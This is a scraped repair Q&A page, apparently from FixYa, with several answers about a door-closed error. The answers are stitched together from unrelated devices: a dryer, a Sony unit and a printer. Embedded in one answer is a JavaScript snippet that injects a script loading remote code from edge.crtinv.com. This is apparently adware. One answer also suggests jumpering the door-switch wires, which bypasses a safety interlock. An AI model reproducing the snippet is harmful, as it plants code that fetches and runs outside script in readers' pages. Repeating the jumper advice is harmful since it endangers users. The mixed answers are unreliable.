Error message C 31:11

https://www.searspartsdirect.com/diy/symptom/dryer-repair/1234594/door-won-t-stay-shut/dryel07

Check the servo unit to see if the actuator is changing modes when press the buttons. If one door is open the other will not function either.

Hello zabbster - Typically the DR or DO error code indicates that the door switch is not closed. Make sure that the door lock is completely closed. If the door is closed, make sure the door latch is not broken. If the latch is broken, you may possibly need to replace the door lock switch.

The latch has most likely become dislocated from its mounting points and will need to be secured back in place correctly.. Check the mounting screws to see if they are loose. Then move the latch back into position and tighten them securely. If not then the error will just come back. The latch mechanism may also need replacing altogether itf it is damaged.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState '' this.readyState=="loaded" '' this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

see door switch your door switch have problem

big problem with sony as you can see im a pro tech but had the same fault with mine. and it broke my heart 4 weeks old and sony dont give a dam ironicly a mate told me slam my fist under the bottom and it will close after hrs of trying to fix it i took his stupid advice and after many hits it closed and worked great for a few weeks

There is a switch that should "close" when the door closes.
But, that switch either is damaged, or it is not sending the "now closed" signal to the printer.

Check that there is no obstruction blocking that switch, nor any dust plugging it up.

Hi

When you open the print cartridge access door there is a black toggle switch that needs to be in the depressed position to let the unit know the door is closed. If the cartridge door is not completely closed, the error message displays.

1. Open, and then close the cartridge door of the product. Make sure that the door rests securely against the body of the product.
NOTE: To see how to close the cartridge door of your specific model, see the cartridge section of your product's User Guide.
2. Check the product control panel to see if the error message still displays.
If the issue persists, see the next step.

Check the cartridge door for obstructions
1.Inspect the door and the area around it to make sure that no obstructions prevent the door from closing completely.
NOTE: Bits of paper, packing materials, and tape might prevent the door from closing completely.
2. Remove any obstructions.
3. Check the product control panel to see if the error message still displays.

If the problem still persists you need to reset the product...
1.Press the Power button to turn on the product.
2.Disconnect the USB cable from the back of the product.
3.Disconnect the power cord from the electrical outlet.
4.Disconnect the power cord from the product.
5.Wait 30 seconds.
6.Reconnect the power cord to the electrical outlet.
7.Reconnect the power cord to the product.
8.Press the Power button to turn on the product.
9.Reconnect the USB cable to the product.
10.Check the product control panel to see if the error message still displays.

Please get back to us if you have further query else please accept the suggestion.

Thank you for contacting fixya.com

find the door switch and jumper the 2 wires together

Check the door in the rear of the machine.